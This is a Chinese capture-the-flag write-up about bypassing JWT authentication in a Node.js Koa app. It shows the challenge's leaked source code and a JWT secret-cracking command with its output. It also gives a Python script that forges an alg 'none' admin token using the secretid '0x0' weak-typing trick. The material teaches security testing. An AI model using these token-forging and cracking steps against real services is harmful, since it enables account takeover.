前言
最近打比赛遇见一道Web题很有意思,考察的是Node.js中JWT认证问题,由于和自己以前所遇到的JWT认证绕过都不太一样,所以打算记录分析一下这个探索过程。
在开始描述探索过程之前不妨先来了解一下什么是Node.js
、JWT
Node.js
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。 Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型。
Node 是一个让 JavaScript 运行在服务端的开发平台,它让 JavaScript 成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。发布于2009年5月,由Ryan Dahl开发,实质是对Chrome V8引擎进行了封装。
Node对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好。V8引擎执行Javascript的速度非常快,性能非常好。Node是一个基于Chrome JavaScript运行时建立的平台, 用于方便地搭建响应速度快、易于扩展的网络应用。Node 使用事件驱动, 非阻塞I/O 模型而得以轻量和高效,非常适合在分布式设备上运行数据密集型的实时应用。
Json Web Token
Json Web Token 简称JWT,用做用户身份验证。那么其结构长什么样呢,下面通过一个例子去分析
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInBhc3N3b3JkIjoiUWZ0bSJ9.TuRVnrUI9ouQRElTfKF8pK-bZz-Z5umNew9m4YJDpSg
上面是一串JWT格式的字符串,在线解密查看内容:https://jwt.io/
从解密的结果可以看到其由三部分组成(头部、载荷、签名)
Header
Payload
Signature
为什么说它的(JWT)名字里面带有Json不难看出,因为其解密出来的内容是按照Json格式存储的,下面通过上述的一个JWT例子对其三部分简单介绍一下
Header
Header通常由两部分组成:令牌的类型,即JWT和正在使用的散列算法,如HMAC SHA256或RSA。
- 明文
{
"typ": "JWT",
"alg": "HS256"
}
不难看出typ为类型的缩写,alg为算法的缩写。然后,这个JSON被Base64编码,形成JSON Web Token的第一部分。
- 密文
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
Payload
令牌的第二部分是包含声明的有效负载。声明是关于实体(通常是用户)和其他元数据的声明。
- 明文
{
"secretid": 1,
"username": "admin",
"password": "Qftm"
}
同样对其base64编码得到第二部分
- 密文
eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInBhc3N3b3JkIjoiUWZ0bSJ9
Signature
这部分为创建签名部分,必须采用header,payload,密钥三部分处理,利用header中指定算法进行签名。
例如HS256(HMAC SHA256),签名的构成为:
HMACSHA256(
base64Encode(header) + "." +
base64Encode(payload),
secret) #例子中所述的密钥为:123
然后将这部分同样base64编码形成JWT第三部分。
了解了Json Web Token的组成,下面理解其攻击手法就比较容易了。
Node.js JWT Attack
在了解Node.js中的JWT问题之前,有必要了解一下一般常见的JWT认证绕过手法。
常见攻击手法
一般情况下针对JWT认证的绕过主要有三种情况,都是针对密钥并结合签名算法进行合理利用的。
第一种:算法修改
这种手法主要是转换签名算法:非对称签名算法—->对称签名算法。
例如:网站信息泄露,泄露了公钥publickey,然而网站采用的RSA的签名算法,这种情况下其使用私钥进行签名,公钥进行解密验证。
此时你会发现公钥好像没什么用,是否真的没用呢?答案是否定的,我们可以将其签名算法进行更改,讲原本的对称算法改为非对称算法然后伪造相应的JWT进行绕过,因为我们采用对称算法然后利用泄露的公钥进行签名,服务端会相应的利用其公钥正常解密,这是由于对称算法的密钥一致性(加密和解密使用的是同一个密钥)。
第二种:密钥可控
这种情况下主要是由于网站的漏洞我们可以控制其密钥的产生。
例如:网站的密钥由一个ID进行查询获得
针对这种情况可以尝试注入改变其ID的查询结果,使密钥为我们自己构造的,这样即可绕过其认证限制。
第三种:密钥爆破
这种情况下主要是利用了弱密钥的因素,然后进行密钥爆破。
例如:网站采用的是弱密钥进行签名,如上面所述的例子密钥为123
使用工具爆破:c-jwt-cracker
root@rose:~/c-jwt-cracker-master# ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInBhc3N3b3JkIjoiUWZ0bSJ9.TuRVnrUI9ouQRElTfKF8pK-bZz-Z5umNew9m4YJDpSg
Secret is "123"
root@rose:~/c-jwt-cracker-master#
下面所述的Node JWT 攻击手法
和上面所常见的手法并不一样
Node JWT 攻击手法
这里通过一个题目案例,真实的对Node.js中JWT认证绕过进行攻击的手法研究,攻击目的为绕过登录限制,使用管理员权限进行操作Get Flag。
主要考察点如下:
Node.js 代码审计
Node.js 依赖库缺陷
Node.js 弱类型特性
实际案例
题目信息如下:
题目名称:easy_login
题目描述:最近正在开始学习nodejs开发,不如先写个登陆界面练练手。什么,大佬说我的程序有bug?我写的代码逻辑完美顺利运行怎么可能出错?!错的一定是我的依赖库!!
初步测试
首先题目链接打开后是个登录界面
依据题目描述可知,其网站采用的是Node编写,由于node应用默认存在package.json,所以尝试访问查看是否存在一些重要信息,可以看到采用了jsonwebtoken
、koa-jwt
等验证组件
http://xxxxx/package.json
{
"name": "login",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"test": "npm start"
},
"dependencies": {
"jsonwebtoken": "^8.5.1",
"koa": "^2.11.0",
"koa-bodyparser": "^4.2.1",
"koa-jwt": "^3.6.0",
"koa-router": "^7.4.0",
"koa-session": "^5.12.3",
"koa-static": "^5.0.0",
"koa-views": "^6.2.1",
"pug": "^2.0.4"
}
}
先不管其它,尝试注册普通用户1:1
登录查看
进去之后显示权限不够,继续观察,抓包分析
根据抓包信息可以看到采用了JWT验证用户信息:JWT解密
观察网站源码,在app.js
中可以查看登录验证,可以看到登录相关的主要存在这三个变量中username, password, authorization
。当登录成功时就会跳转到/home目录下失败则会返回Cannot read property 'split' of undefined
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}
function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
第一想法是尝试寻找是否泄露了密钥或者爆破密钥,但是最终都无果,于是又回到题目描述,那就只有某些组件存在可能绕过漏洞。
深入测试
由于上面的 app.js 里有写到 static 是直接映射到程序根目录的,猜测程序可能存在任意文件读取漏洞。继续对网站进行探测,在controllers
接口中发现api.js
泄露,里面存在具体的登录注册等逻辑代码,也就是放在服务端的代码。
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
分析代码逻辑可知:Node.js
调用jsonwebtoken
进行用户注册验证等操作。
注册部分代码逻辑:
首先用户名不能为空且不能为admin
用户,然后secrets.length > 100000
就置为空,可知当注册用户达到100000时就会清空原有密钥信息,下来的就是注册信息合法开始调用jwt.sign()
进行JWT的生成,然后返回给用户,其中的密钥是随机生成的crypto.randomBytes(18).toString('hex')
并与用户注册的sid进行绑定const secretid = global.secrets.length;
,密钥的存储是在一个数组中,每当新增一个用户都会随机产生一个密钥进行存储。
登录部分代码逻辑:
首先用户名和密码不能为空,然后使用JSON.parse()
对post的authorization字段进行提取sid,这个sid就是用户身份的唯一标志,依据逻辑if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0))
可知sid不能为空并且sid需要大于等于0、小于密钥数组的实际长度,也就是说登录的用户在服务端需要能查出来,通过验证之后,下来由用户sid对global.secrets进行取值,也就是取得相应用户的密钥,然后进行用户验证,返回相应状态:验证成功的用户status=true
否则为false
。
简单来说,其代码逻辑可以看作数据库操作,通过用户标志查询数据库是否存在该用户记录,然后进行用户验证。
Getflag部分代码逻辑:其实就是验证登录用户是否为admin用户,普通用户会提示权限不足throw new APIError('permission error', 'permission denied');
。
绕过分析
分析代码之后,逻辑已经比较清楚了,要想得到管理员权限就需要绕过sid(用户ID)和secrets(用户密钥)
由于Node的jsonwebtoken库存在一个缺陷,当用户传入jwt secretid为空时 jsonwebtoken会采用algorithm none进行解密,即便在登录验证代码部分const user = jwt.verify(token, secret, {algorithm: 'HS256'});
后面的算法指名为 HS256,验证也还是按照 none 来验证通过的。
options.algorithms = ['none'];
既然这样,我们就可以通过传入不存在的secretid,导致algorithm为none,由于algorithm=none所以在构造JWT时就不需要提供密钥,然后就可以通过伪造jwt来成为admin。
但是,我们可以看到实际的Node.js代码中做了限制,当sid不满足if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0))
条件时就会错误APIError('login error', 'no such secret id');
,所以要想构造管理员权限的JWT,就要绕过这个sid限制。
分析sid限制绕过:
根据if条件可知,sid === undefined || sid === null
这部分逻辑很容易绕过,主要是!(sid < global.secrets.length && sid >= 0)
这部分。要绕过这部分,既要构造sid不存在又要满足0-global.secrets.length
这个范围,所以这里可以利用Node.js的弱类型特性来绕过限制,比如十六进制字符串进行绕过:"0x0"
(或者使用小数绕过0.11
等)
Console控制台测试
测试结果可以看到其能够绕过if逻辑,但是需要注意一点,这个十六进制字符串"0x0"
要想在JWT攻击载荷里面生效,前提是必须注册的用户需要大于0,不然这一步通过不了sid < global.secrets.length
,因为前面已经注册了一个普通用户所以这里不在注册,直接构造利用。
编写脚本构造:
import jwt
token = jwt.encode({"secretid":"0x0","username":"admin","password":"Qftm"},algorithm="none",key="").decode(encoding='utf-8')
print(token)
Run result:
→ Qftm ← :~/桌面/Qftm# python3 exp.py
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6IjB4MCIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IlFmdG0ifQ.
→ Qftm ← :~/桌面/Qftm#
解码查看构造的admin jwt情况
构造没问题之后直接发包提交构造的JWT进行验证
可以看到构造的JWT回显状态为True已经验证成功,成功伪造了admin,下来直接重新抓取login页面利用构造的JWT重放绕过管理员登录获得管理员权限
之后由修改过的login页面重放至home页面
然后再重放home页面直接以管理员身份登录
总结
到这里整个Node.js中的JWT认证分析及绕过过程已经探索完毕,主要是JWT原理的理解以及代码审计的重要性,其次,重要还是利用了Node.js本身弱类型特性以及所提供的jsonwebtoken
的内部缺陷再结合程序代码编写本身的缺陷进行认证绕过。